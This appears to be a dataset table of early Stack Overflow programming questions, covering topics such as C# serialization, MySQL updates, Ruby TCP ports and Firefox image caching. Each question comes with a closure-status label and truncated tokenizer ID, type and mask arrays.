unified_texts
stringlengths
32
30.1k
OpenStatus_id
int64
0
4
input_ids
list
token_type_ids
list
attention_mask
list
In .Net/C# is the an OnSerializing event fired for XmlSerializer.Serialize === I want to set some attributes just before the object is serialized, but as it can be serialized from several locations, is there a way to do this using the OnSerializing method (or similar) for Xml serialization - my class is largely like this - but the On... methods are not being called...: [Serializable] [XmlRoot(ElementName = "ResponseDetails", IsNullable = false)] public class ResponseDetails { public ResponseDetails() {} [OnSerializing] internal void OnSerializingMethod(StreamingContext context) { logger.Info("Serializing response"); } [OnSerialized] internal void OnSerializedMethod(StreamingContext context) { logger.Info("Serialized response"); } [OnDeserialized] internal void OnDeserializedMethod(StreamingContext context) { logger.Info("Deserialized response"); } [OnDeserializing] internal void OnDeserializingMethod(StreamingContext context) { logger.Info("Deserializing response"); }
0
[ 2, 19, 13, 9, 2328, 118, 150, 5910, 25, 14, 40, 27, 4104, 2815, 3335, 807, 3899, 26, 23504, 4104, 2815, 11907, 9, 4104, 2815, 2952, 800, 3726, 3726, 31, 259, 20, 309, 109, 13422, 114, 115, 14, 3095, 25, 27877, 15, 47, 28, 32, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Please recommend me a professional keepalive solution for our monitoring server === I'm looking for a tool that can be installed on our monitoring server and which allows us to perform scheduled requests to our web sites in order to keep them from shutting down (asp.net). I don't want to use a web service since we already have a dedicated monitoring server. Our monitoring software doesn't really have the ability to do this without using some ugly workaround. I could probably write my own but I'm a bit short on time atm.
0
[ 2, 2247, 12360, 55, 21, 736, 643, 192, 1284, 4295, 26, 318, 8984, 8128, 800, 3726, 3726, 31, 22, 79, 699, 26, 21, 5607, 30, 92, 44, 4066, 27, 318, 8984, 8128, 17, 56, 2965, 182, 20, 2985, 3758, 12279, 20, 318, 2741, 3259, 19, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Find the page that the user intended to see === I'm rebuilding a site with a lot of incoming links, and the URL structure is completely changing. I'm using the stock mod_rewrite solution to redirect all old links to new pages. However, as I'm sure a few links will slip through the net, I've built a small script that runs on my custom 404 page, to log the incoming visitors' referrer URL. This will help me track down any broken links. In addition to referrer, is there also a way of logging the url that the user entered, or clicked that caused a 404? I ask this as referrer is obviously a bit 'hit & miss'. I suspect not, but thought it worth a question.
0
[ 2, 477, 14, 2478, 30, 14, 4155, 2081, 20, 196, 800, 3726, 3726, 31, 22, 79, 16633, 21, 689, 29, 21, 865, 16, 17126, 6271, 15, 17, 14, 287, 6362, 1411, 25, 1524, 4226, 9, 31, 22, 79, 568, 14, 2070, 7226, 1, 99, 23716, 4295, 2...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
One table or many? === I'm trying to design an application to hold academic reference information. The problem is that each different type of reference (eg. journal articles, books, newspaper articles etc) requires different information. For example a journal reference requires both a journal title and an article title, and also a page number, whereas a book requires a publisher and a publication date which journal articles do not require. Therefore, should I have all the references stored in one table in my database and just leave fields blank when they don't apply, or should I have various tables such as BookReferences, JournalReferences, NewspaperReferences and put the appropriate references in each one. The problem then would be that it would make searching through all the references rather more difficult, and also editing would have to be done rather more separately probably. (I'm planning to use Ruby on Rails for this project by the way, but I doubt that makes any difference to this design question)
0
[ 2, 53, 859, 54, 151, 60, 800, 3726, 3726, 31, 22, 79, 749, 20, 704, 40, 3010, 20, 1027, 1810, 2801, 676, 9, 14, 1448, 25, 30, 206, 421, 1001, 16, 2801, 13, 5, 5431, 9, 1680, 3376, 15, 964, 15, 1987, 3376, 2722, 6, 4781, 421,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
What tools exist for testing multithreaded .net code? === Are there any tools that can help find race conditions when testing multi-threaded .net code? I'm looking for something with similar capabilities to IBM's [ConTest][1] tool for Java. [1]: http://www.alphaworks.ibm.com/tech/contest
0
[ 2, 98, 4672, 3182, 26, 4431, 1889, 96, 10647, 69, 13, 9, 2328, 1797, 60, 800, 3726, 3726, 50, 80, 186, 4672, 30, 92, 448, 477, 764, 2039, 76, 4431, 1889, 8, 96, 10647, 69, 13, 9, 2328, 1797, 60, 31, 22, 79, 699, 26, 301, 29,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Anyone know of a free/Cheap command-line resource editor for managed win32 exes/dlls === I have been recommended ["Resource Tuner console"][1] but it's a little out of my price range. I'm looking for something that could be launched from a nant build script and told to stamp an exe with an additional property as described in my [previous question][2]. [1]: http://www.heaventools.com/command-line_resource_editor.htm [2]: http://stackoverflow.com/questions/191812/how-can-i-create-a-custom-property-for-my-assembly
0
[ 2, 1276, 143, 16, 21, 551, 118, 2569, 2552, 1202, 8, 1143, 6577, 1835, 26, 1471, 628, 3125, 1396, 160, 118, 43, 211, 18, 800, 3726, 3726, 31, 57, 74, 5773, 636, 7, 99, 12097, 6768, 139, 8650, 7, 500, 2558, 165, 500, 47, 32, 22...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
how to call the Vbscript file in C# application === I need to call the vb script file(vbs file) in my C# windows application. Please let me know how to do this. There is an add in to access vb script file in Visual studio. But i need to access the script in code behind how to do this
0
[ 2, 184, 20, 645, 14, 13, 20468, 8741, 3893, 19, 272, 5910, 3010, 800, 3726, 3726, 31, 376, 20, 645, 14, 13, 20468, 3884, 3893, 5, 20468, 18, 3893, 6, 19, 51, 272, 5910, 1936, 3010, 9, 2247, 408, 55, 143, 184, 20, 107, 48, 9, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Update column from another table - mySQL 3.5.2 === I've tried a couple of approaches to update a column in a mySQL database table from another table but am not having any luck. I read somewhere that version 3.5.2 does not support multi-table updates and I need a code-based solution - is that correct? If not can anybody point me in the right direction using sql? UPDATE products SET products_ordered = ( SELECT SUM(products_quantity) FROM orders_products WHERE products_id = products.products_id ); or: Create temporary table my_temp_table as SELECT products_id, SUM(products_quantity) as total FROM orders_products GROUP BY products_id UPDATE products, my_temp_table SET products.products_ordered = my_temp_table.total WHERE products.products_id = my_temp_table.products_id
0
[ 2, 11100, 4698, 37, 226, 859, 13, 8, 51, 18, 22402, 203, 9, 264, 9, 135, 800, 3726, 3726, 31, 22, 195, 794, 21, 1335, 16, 7501, 20, 11100, 21, 4698, 19, 21, 51, 18, 22402, 6018, 859, 37, 226, 859, 47, 589, 52, 452, 186, 5419...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
JavaScript how to use .js file === I'm sorry for this very newbish question I'm not much given into web development. I've got this cool javascript on a .js file that we want to use at a small web site. (It's a script to run piclens on it). Can anyone point me some directions on how to use the .js file? Or how to attach it to my html code. Ty :) If you feel this is a traditional "please read the manual" i would be happy 2 but haven't been able to find out how to do it :(
0
[ 2, 8247, 8741, 184, 20, 275, 13, 9, 728, 18, 3893, 800, 3726, 3726, 31, 22, 79, 1875, 26, 48, 253, 78, 23092, 1301, 31, 22, 79, 52, 212, 504, 77, 2741, 522, 9, 31, 22, 195, 330, 48, 2700, 8247, 8741, 27, 21, 13, 9, 728, 18...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Startup point for Symbian/embedded programming learning === I have good knowledge on C++ (not C) and recently bought a Symbian-based phone. This gave me reasons to start learning on how to program this beast. I have searched for Symbian programming tutorials but there is so much knowledge that it is hard to choose best for startup. So I'm asking for hints, tips on where to start embedded/Symbian programming learning that would give me a kick-start in this topic; especially if you have this knowledge yourself. Thank you.
0
[ 2, 20205, 454, 26, 13, 7261, 10035, 118, 1503, 4283, 7424, 3143, 2477, 800, 3726, 3726, 31, 57, 254, 1918, 27, 272, 20512, 13, 5, 1270, 272, 6, 17, 1989, 2448, 21, 13, 7261, 10035, 8, 1281, 1132, 9, 48, 492, 55, 2932, 20, 799, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
DOs and DON'Ts of a technical presenation === I am preparing a technical presentation for my team. So I want to know about the primary necessary things for a good technical presentation and also DOs and DON'Ts for the same. some of my concerns are, 1. Whether to have ppt slides or not 2. Coding a sample during presentation or preparing it before going to present 3. Maximum duration of an technical presentations. What is your thoughts on technical presentations from your past experience either as a presenter or as a listener.
2
[ 2, 107, 18, 17, 221, 22, 38, 18, 16, 21, 2447, 782, 1264, 857, 800, 3726, 3726, 31, 589, 7575, 21, 2447, 6364, 26, 51, 173, 9, 86, 31, 259, 20, 143, 88, 14, 1256, 2378, 564, 26, 21, 254, 2447, 6364, 17, 67, 107, 18, 17, 22...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Tracd Realm === I am trying to setup tracd for the project I am currently working on. After creating a password file with the python script given in the [site][1] I am trying to start the server with authentication on. But it throws up warning saying No users found in the realm. What actually is a realm - I tried using trac as the value and also tried leaving it empty. I am using Windows XP. I am using Tracd Standalone server. Thanks... [1]: http://trac.edgewall.org/wiki/TracStandalone
0
[ 2, 7957, 6324, 6640, 800, 3726, 3726, 31, 589, 749, 20, 18161, 7957, 6324, 26, 14, 669, 31, 589, 871, 638, 27, 9, 75, 2936, 21, 20884, 3893, 29, 14, 20059, 3884, 504, 19, 14, 636, 9097, 500, 2558, 165, 500, 31, 589, 749, 20, 7...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Refactoring features in Visual Studio 2005 for VB === Does anybody know a good and free add-in for Visual Studio 2005 to get refactoring features in VB? Thanks in advance /Enrico
0
[ 2, 302, 17455, 68, 967, 19, 3458, 1120, 812, 26, 13, 20468, 800, 3726, 3726, 630, 11181, 143, 21, 254, 17, 551, 3547, 8, 108, 26, 3458, 1120, 812, 20, 164, 302, 17455, 68, 967, 19, 13, 20468, 60, 3669, 19, 3612, 13, 118, 219, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
Good way to process RTF encoded files and convert them to XML? === I have never done huge amounts of RTF processing, I always used a library to read or generate one and that was a long time ago. Now I need to get more intimate with the format again, and eventually convert it to XML. Can you recommend a good path to do it, so that I have a lot of control on how RTF chunks are parsed and processed? Initially, I am thinking Perl plus a few good libraries would be a good choice, but all opinions are welcome.
0
[ 2, 254, 161, 20, 953, 761, 11720, 13665, 6488, 17, 8406, 105, 20, 23504, 60, 800, 3726, 3726, 31, 57, 243, 677, 2329, 8545, 16, 761, 11720, 5511, 15, 31, 550, 147, 21, 1248, 20, 1302, 54, 7920, 53, 17, 30, 23, 21, 175, 85, 146...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Online game: Macromedia Flash or Microsoft Silverlight? === Which technology stack is best for the creation of a two dimensional MMORPG and why? This question is loaded, so which are the major factors would you consider for development in such a domain?
0
[ 2, 2087, 250, 45, 9069, 8260, 4433, 54, 7099, 1172, 3130, 60, 800, 3726, 3726, 56, 1099, 7566, 25, 246, 26, 14, 2502, 16, 21, 81, 13, 7865, 1620, 248, 9623, 17, 483, 60, 48, 1301, 25, 8572, 15, 86, 56, 50, 14, 394, 4776, 83, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0...
What is the difference between a process and a thread === What is the technical difference between a process and a thread? I get the feeling a word like 'process' is over used and there is also hardware and software threads. How about light-weight processes in languages like Erlang? Is there a definitive reason to use one term over the other?
0
[ 2, 98, 25, 14, 2841, 128, 21, 953, 17, 21, 9322, 800, 3726, 3726, 98, 25, 14, 2447, 2841, 128, 21, 953, 17, 21, 9322, 60, 31, 164, 14, 1249, 21, 833, 101, 13, 22, 16835, 22, 25, 84, 147, 17, 80, 25, 67, 7610, 17, 2306, 203...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Style sheet images aren't reloaded by Firefox or Safari === We have found out that Firefox (at least v3) and Safari don't properly cache images referenced from a css file. The images are cached, but they are never refreshed, even if you change them on the server. Once Firefox has the image in the cache, it will never check if it has changed. Our css file looks like this: div#news { background: #FFFFFF url(images/newsitem_background.jpg) no-repeat; ... } The problem is that if we now change the newsitem_background.jpg image, all Firefox users will still get the old image, unless they explicitly refresh the page. IE on the other hand, detects that the image has changed and reloads it automatically. Is this a known problem? Any workarounds? Thanks!
0
[ 2, 1034, 6125, 3502, 4847, 22, 38, 27339, 69, 34, 535, 18219, 54, 25055, 800, 3726, 3726, 95, 57, 216, 70, 30, 535, 18219, 13, 5, 721, 639, 566, 240, 6, 17, 25055, 221, 22, 38, 7428, 16522, 3502, 17571, 37, 21, 272, 18, 18, 38...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
HTML.ActionLink method === Let's say I have a class public class ItemController:Controller { public ActionResult Login(int id) { return View("Hi", id); } } On a page that is not located at the Item folder, where ItemController resides, I want to create a link to the Login method. So which HTML.ActionLink method I should use and what parameters to pass in? Specifically, I am looking for the replacement of the method Html.ActionLink(article.Title, new { controller = "Articles", action = "Details", id = article.ArticleID }) that has been retired in the recent ASP.NET MVC incarnation.
0
[ 2, 13, 15895, 9, 8645, 6258, 2109, 800, 3726, 3726, 408, 22, 18, 395, 31, 57, 21, 718, 317, 718, 9101, 12898, 1252, 45, 12898, 1252, 13, 1, 317, 1028, 29955, 6738, 108, 5, 6391, 4924, 6, 13, 1, 788, 1418, 5, 7, 1822, 7, 15, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How to get the status of a JBOSS server === I am working on writing a Highly Available agent for JBOSS to run on Solaris Open HA Cluster. As I don't know much of JBOSS, can someone please tell me how can I probe the status of the JBOSS server. I want to know the health of JBOSS server, ie, whether it is currently running or not. -Abhishek
0
[ 2, 184, 20, 164, 14, 1782, 16, 21, 487, 10349, 18, 8128, 800, 3726, 3726, 31, 589, 638, 27, 1174, 21, 2157, 904, 2267, 26, 487, 10349, 18, 20, 485, 27, 4535, 403, 368, 1458, 7460, 9, 28, 31, 221, 22, 38, 143, 212, 16, 487, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How do I get a list of Java Class dependancies for a Main class? === Is there a way to find all the class dependencies of a java Main class? I have been manually sifting through the imports of the Main class and it's imports but then realised that, because one does not have to import classes that are in the same package, I was putting together an incomplete list. This should be recursive (perhaps to a defined depth).
0
[ 2, 184, 107, 31, 164, 21, 968, 16, 8247, 718, 12547, 210, 10807, 26, 21, 407, 718, 60, 800, 3726, 3726, 25, 80, 21, 161, 20, 477, 65, 14, 718, 29411, 16, 21, 8247, 407, 718, 60, 31, 57, 74, 23671, 26865, 68, 120, 14, 20617, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How do you find a free TCP server port using Ruby? === I'm trying to create a use-once HTTP server to handle a single callback and need help with finding a free TCP port in Ruby. This is the skeleton of what I'm doing: require 'socket' t = STDIN.read port = 8081 while s = TCPServer.new('127.0.0.1', port).accept puts s.gets s.print "HTTP/1.1 200/OK\rContent-type: text/plain\r\n\r\n" + t s.close exit end (It echoes standard input to the first connection and then dies.) How can I automatically find a free port to listen on?
0
[ 2, 184, 107, 42, 477, 21, 551, 13, 38, 7439, 8128, 1295, 568, 10811, 60, 800, 3726, 3726, 31, 22, 79, 749, 20, 1600, 21, 275, 8, 13120, 7775, 8128, 20, 3053, 21, 345, 645, 1958, 17, 376, 448, 29, 3007, 21, 551, 13, 38, 7439, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
